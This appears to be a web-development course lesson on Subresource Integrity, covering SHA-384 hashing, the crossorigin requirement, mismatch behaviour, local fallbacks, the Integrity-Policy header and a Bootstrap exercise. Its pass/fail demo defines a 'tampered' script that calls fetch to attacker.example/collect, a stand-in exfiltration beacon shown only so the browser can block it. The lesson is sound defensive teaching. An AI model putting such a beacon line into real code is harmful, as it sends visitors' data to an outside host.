EthicsComputerCourses
Join training +91 90532 10052

Subresource Integrity (SRI)

HTML · Lesson 109 of 234 Advanced 11 min read Updated

By the end of this lesson you will be able to calculate an SRI hash yourself, add it correctly to scripts and stylesheets, predict what the browser does when a file does not match, and decide when a CDN file is safe to use at all.

What you should know first: HTML Security Fundamentals showed a first SRI example with jQuery and the OpenSSL command. Content Security Policy (CSP) explains the other half of script safety. Here we look inside the hash and at the real-world problems around it.

The problem SRI solves

Many sites load files from servers they do not control, such as a CDN (content delivery network) like jsDelivr or cdnjs. If an attacker changes the file there, your page runs the attacker's code with full access to your visitors' data.

Subresource Integrity (SRI) lets your HTML name exactly which file you expect, using a fingerprint of it. The browser fingerprints the download and throws it away if the two differ.

Think of a sealed medicine strip from a chemist in Lucknow: you do not test the tablets, you check the seal. SRI is the seal.

What a hash is

A hash function turns any amount of data into a short, fixed-length value called a hash or digest. Cryptographic hash functions such as SHA-384 have three properties that make them good seals:

  • Same input, same hash. The same file always gives the same value.
  • Tiny change, totally different hash. Change one character and the hash looks completely new.
  • One way. You cannot rebuild the file from the hash or forge a second file that matches.

An integrity value has the form algorithm-base64digest:

HTML
<script src="https://cdn.example.com/lib@2.1.0/lib.min.js"
        integrity="sha384-qeBZSoF1v9ug5CxQl5uARWSj1vGXM/1VkJfa8DKX6rY8a/3ZvU31XG0o3hNE3ikn"
        crossorigin="anonymous"></script>

The allowed algorithms are sha256, sha384 and sha512. SHA-384 is the common choice: it is strong, and most CDN sites and generators give it by default. The digest is written in base64, a way of writing bytes with letters, digits, + and /, not in the hexadecimal form many tools print.

Step 1: calculate a hash in the browser

The browser's Web Crypto API can make the same hash a command-line tool makes. crypto.subtle.digest() takes bytes and returns the digest. TextEncoder turns the text into its exact UTF-8 bytes, and btoa() turns the bytes into base64.

HTMLOpen in editor
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>SHA-384 for SRI</title>
  <style>
    body { font-family: system-ui, sans-serif; margin: 16px; }
    textarea { inline-size: 100%; font-family: monospace; }
    output { display: block; font-family: monospace; overflow-wrap: anywhere; background: #f1f5f9; padding: 8px; }
  </style>
</head>
<body>
  <h1>Make an integrity value</h1>
  <label for="code">File contents</label>
  <textarea id="code" rows="3">console.log("Namaste from Jaipur");</textarea>
  <p><button id="go" type="button">Calculate hash</button></p>
  <output id="result" for="code"></output>

  <script>
    async function sriHash(text) {
      const bytes = new TextEncoder().encode(text);           // the exact UTF-8 bytes
      const digest = await crypto.subtle.digest("SHA-384", bytes);
      const binary = String.fromCharCode(...new Uint8Array(digest));
      return "sha384-" + btoa(binary);                        // base64, not hex
    }

    async function show() {
      document.querySelector("#result").textContent =
        await sriHash(document.querySelector("#code").value);
    }
    document.querySelector("#go").addEventListener("click", show);
    show();
  </script>
</body>
</html>

You should see:

Output
sha384-qeBZSoF1v9ug5CxQl5uARWSj1vGXM/1VkJfa8DKX6rY8a/3ZvU31XG0o3hNE3ikn

Now delete the semicolon and calculate again. Every character of the hash changes. Put the semicolon back and press Enter once at the end: the hash changes again, because a newline is also a byte. This is why you must hash the exact file you serve, never a copy you retyped or reformatted.

crypto.subtle works only in secure contexts (HTTPS or localhost). ES2026 also adds Uint8Array.prototype.toBase64(), which can replace the btoa() line once all the browsers you support have it.

Generating hashes on the command line

For real files, use a terminal. Save the same line in app.js with no newline at the end, then run either command:

Terminal
openssl dgst -sha384 -binary app.js | openssl base64 -A
shasum -b -a 384 app.js | awk '{ print $1 }' | xxd -r -p | base64
Output
qeBZSoF1v9ug5CxQl5uARWSj1vGXM/1VkJfa8DKX6rY8a/3ZvU31XG0o3hNE3ikn
qeBZSoF1v9ug5CxQl5uARWSj1vGXM/1VkJfa8DKX6rY8a/3ZvU31XG0o3hNE3ikn

Both match the browser. Add sha384- in front yourself. The first command works anywhere OpenSSL is installed, including Git Bash on Windows. The second suits macOS and Linux: shasum prints hex, so xxd -r -p turns it back into bytes before base64. Build-tool plugins can add these hashes automatically.

Why crossorigin="anonymous" is required

For a file from another origin, the browser must make a CORS request (cross-origin resource sharing: the server says, with an Access-Control-Allow-Origin header, that other sites may read the file). Without the crossorigin attribute, a script is fetched in "no-cors" mode. The browser blocks every no-cors request that carries integrity, so the check always fails.

This is deliberate: otherwise an attacker's page could guess a private file on another site by trying hashes. CORS makes the other server agree first.

  • crossorigin="anonymous" sends no cookies. Use it for public CDN files.
  • crossorigin="use-credentials" sends cookies. You will almost never need it for a CDN.
  • Same-origin files do not need crossorigin.

Public CDNs send the CORS header already. Your own asset server must send it too if you use SRI on its files.

What happens on a mismatch

When the hash does not match, the browser treats the download as a network error. The script does not run (or the stylesheet does not apply), the element fires an error event, and the console shows an integrity error. The rest of the page carries on.

Step 2: watch the browser accept and reject files

This demo needs no network. It builds tiny scripts as data: URLs, calculates the hash of the approved one, and then loads three versions.

HTMLOpen in editor
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>SRI pass and fail</title>
  <style>
    body { font-family: system-ui, sans-serif; margin: 16px; }
    li { margin: 6px 0; }
    .ok { color: #166534; }
    .bad { color: #b91c1c; }
  </style>
</head>
<body>
  <h1>Which scripts did the browser accept?</h1>
  <ul id="log"></ul>

  <script>
    const log = document.querySelector("#log");
    function note(text, cls) {
      const li = document.createElement("li");
      li.textContent = text;
      li.className = cls;
      log.append(li);
    }

    async function sriHash(text) {
      const digest = await crypto.subtle.digest("SHA-384", new TextEncoder().encode(text));
      return "sha384-" + btoa(String.fromCharCode(...new Uint8Array(digest)));
    }

    // Load a script from a data: URL with a given integrity value
    function load(label, code, integrity) {
      return new Promise((resolve) => {
        const s = document.createElement("script");
        s.src = "data:text/javascript," + encodeURIComponent(code);
        s.integrity = integrity;
        s.onload = () => { note(label + ": accepted and run", "ok"); resolve(); };
        s.onerror = () => { note(label + ": blocked (error event)", "bad"); resolve(); };
        document.body.append(s);
      });
    }

    (async () => {
      const approved = 'window.offer = "Diwali sale: 20% off";';
      const good = await sriHash(approved);
      const tampered = 'window.offer = "Diwali sale: 20% off"; fetch("https://attacker.example/collect");';

      await load("1. Approved file, matching hash", approved, good);
      await load("2. Tampered file, same hash", tampered, good);
      await load("3. Old hash plus new hash", approved, "sha384-AAAA " + good);
      note("window.offer = " + window.offer, "");
    })();
  </script>
</body>
</html>
Output
1. Approved file, matching hash: accepted and run
2. Tampered file, same hash: blocked (error event)
3. Old hash plus new hash: accepted and run
window.offer = Diwali sale: 20% off

Line 2 shows the seal working: the tampered file still sets the offer, but it also tries to send data away, so it never runs at all. Line 3 shows that integrity can hold several hashes separated by spaces. The browser uses only the strongest algorithm listed and accepts the file if any hash of that algorithm matches. This is handy while you move from one file version to the next.

A blocked CDN file can break your page, so a common pattern is a local fallback:

HTML
<script src="https://cdn.jsdelivr.net/npm/jquery@4.0.0/dist/jquery.min.js"
        integrity="sha384-fgGyf7Mo7DURSOMnOy7ed+dkq5Job205Gnzu6QIg0BOHKaqt4D76Dt8VlDCzcMHV"
        crossorigin="anonymous"></script>
<script>
  // Runs after the CDN attempt: load our own copy if jQuery is missing
  window.jQuery || document.write('<script src="/js/jquery-4.0.0.min.js"><\/script>');
</script>

document.write() is old-fashioned, but here it keeps the loading order. With a build tool you would bundle the library instead.

Pin exact versions, and avoid dynamic files

A hash only makes sense for a file that never changes:

  • Pin the full version: bootstrap@5.3.8, never bootstrap@5 or @latest. A range URL serves a new file when a new version comes out, your hash stops matching, and your site breaks on a random morning.
  • Never use SRI on files that change per visitor. Some services build their response from your browser's User-Agent. Google Fonts' CSS, for example, differs between browsers. No single hash can match, so SRI cannot protect such files.
  • Update the hash with the version, or the new file is blocked.

require-sri-for and Integrity-Policy

SRI protects only the tags where you remember to add it. A forgotten tag is unprotected. A CSP directive called require-sri-for was proposed to force SRI on every script. It only ever ran behind experimental flags, was never shipped by any browser, and was removed from the drafts. Do not use it; browsers ignore it.

Its replacement is the Integrity-Policy response header, for example Integrity-Policy: blocked-destinations=(script). It blocks any script loaded without integrity metadata, and Integrity-Policy-Report-Only reports instead of blocking. Chrome and Edge shipped it in version 138 (2025) and Firefox has added it more recently, but MDN still marks it as limited availability. Treat it as an extra layer, starting in report-only mode.

CDN with SRI, or self-host?

Public CDN + SRISelf-hosted files
Who can change the fileThe CDN (SRI blocks changes)Only you
If the CDN is down or blockedFile fails; you need a fallbackNot affected
Extra connectionYes, to another hostNo
Shared cache across sitesNo longer: browsers keep a separate cache per siteNot relevant
PrivacyThe CDN sees every visitor's IP addressNothing extra shared
UpdatesChange URL and hash togetherCopy the new file into your build

Many teams now self-host or bundle libraries and keep CDNs for prototypes. If you do use a CDN, SRI is not optional.

Common mistakes

  • Missing crossorigin on a CDN file with integrity. The file is blocked every time.
  • Hashing a different copy of the file. Line endings or a final newline change the hash.
  • Hex instead of base64. sha384-a9e0594a... will never match; convert to base64.
  • Version ranges in the URL. Pin the exact version.
  • Thinking SRI stops XSS. It only checks files you list; an attacker who can edit your HTML can change the hash too.

Interview questions

1. What does the integrity attribute do?

It holds one or more cryptographic hashes of the file the page expects, written as sha384- plus a base64 digest. The browser hashes the downloaded file and refuses to use it if no hash matches. It works on <script> and on <link> with rel="stylesheet", "preload" or "modulepreload".

2. Why does SRI need crossorigin="anonymous" for CDN files?

Integrity checks on cross-origin files require a CORS request, so the other server agrees to share the file. Without crossorigin, the request is no-cors and the browser blocks it whenever integrity is present. This stops pages from probing other sites' private files by guessing hashes.

3. What happens when the hash does not match?

The browser treats the response as a network error. The script does not execute or the stylesheet does not apply, an error event fires on the element, and the console logs an integrity error. You can catch this to load a self-hosted fallback.

4. Why could SRI not prevent the polyfill.io incident?

The service generated a different response for each browser based on its user agent, so sites could not pin one hash. SRI only works for static, versioned files. The fix was to remove the script, use a trusted mirror or self-host the code.

Key points

  • SRI is a seal: integrity="sha384-..." makes the browser reject any file whose hash differs.
  • Hashes are base64, not hex; calculate them with OpenSSL, shasum, crypto.subtle or your build tool from the exact file.
  • Cross-origin files need crossorigin="anonymous" and a CORS header, or the check always fails.
  • A mismatch is a network error with an error event; plan a protected fallback.
  • Pin exact versions, and never rely on SRI for files that change per visitor.
  • require-sri-for never shipped; Integrity-Policy is the newer header, still limited in support.
  • Third-party scripts are a supply chain: polyfill.io showed that a trusted domain can change owners.

Exercise

Ananya's online saree shop in Kochi loads Bootstrap 5.3.8 CSS and JS from jsDelivr with no integrity checks. Write the two tags with integrity and crossorigin (use the placeholder HASH_OF_FILE and write the exact OpenSSL command that produces each hash after downloading the files). Then add a script that shows a message in a <p id="cdn-warning"> if the Bootstrap script fails its integrity check.

Show solution
Terminal
curl -sO https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css
curl -sO https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js
openssl dgst -sha384 -binary bootstrap.min.css | openssl base64 -A
openssl dgst -sha384 -binary bootstrap.bundle.min.js | openssl base64 -A
HTML
<link rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css"
      integrity="sha384-HASH_OF_FILE"
      crossorigin="anonymous">

<p id="cdn-warning" hidden>Some features failed to load. Please refresh the page.</p>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-HASH_OF_FILE"
        crossorigin="anonymous"
        onerror="document.getElementById('cdn-warning').hidden = false"></script>

Each hash comes from the exact file served at the pinned URL. If the CDN ever serves something else, the browser blocks it and the error handler shows the warning. If your CSP blocks inline handlers, attach the listener from a script file instead.

Quick Quiz

1. Which integrity value is in the correct format?

2. A CDN script has a correct integrity hash but no crossorigin attribute. What happens?

3. An integrity attribute lists a sha256 hash and a sha384 hash. Which does the browser check?

4. What was the main lesson of the 2024 polyfill.io incident?

Learn HTML with a mentor

Free lessons get you started. Our Full Stack Web Development training adds real projects and code reviews from working developers.

  • Project-based learning
  • Mentor code reviews
  • Free counselling call